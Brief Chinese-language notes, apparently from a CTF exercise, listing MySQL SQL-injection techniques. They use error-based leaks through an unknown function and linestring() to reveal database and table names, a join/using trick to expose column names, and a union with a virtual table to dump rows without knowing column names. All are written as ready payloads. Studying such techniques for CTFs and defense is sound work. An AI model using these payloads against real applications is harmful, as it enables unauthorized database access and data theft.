Mysql特性
获取数据库名
未知函数可爆数据库名 FUNCTION youcanneverfindme17.a does not exist
获取表名
and linestring(pro_id) //linestring()函数可爆表名
Illegal non geometric '`youcanneverfindme17`.`product_2017ctf`.`pro_id`' value found during parsing
获取字段名
using join 获取字段
pro_id=1 union select * from (select * from product_2017ctf as A join product_2017ctf as B using(pro_id)) as C
获取内容
在不出现字段名的情况下查出内容，将一个虚拟表和当前表联合起来
pro_id=-1 union select 1,a.4,3,4 from (select 1,2,3,4 from dual union select * from product_2017ctf)a limit 3,1;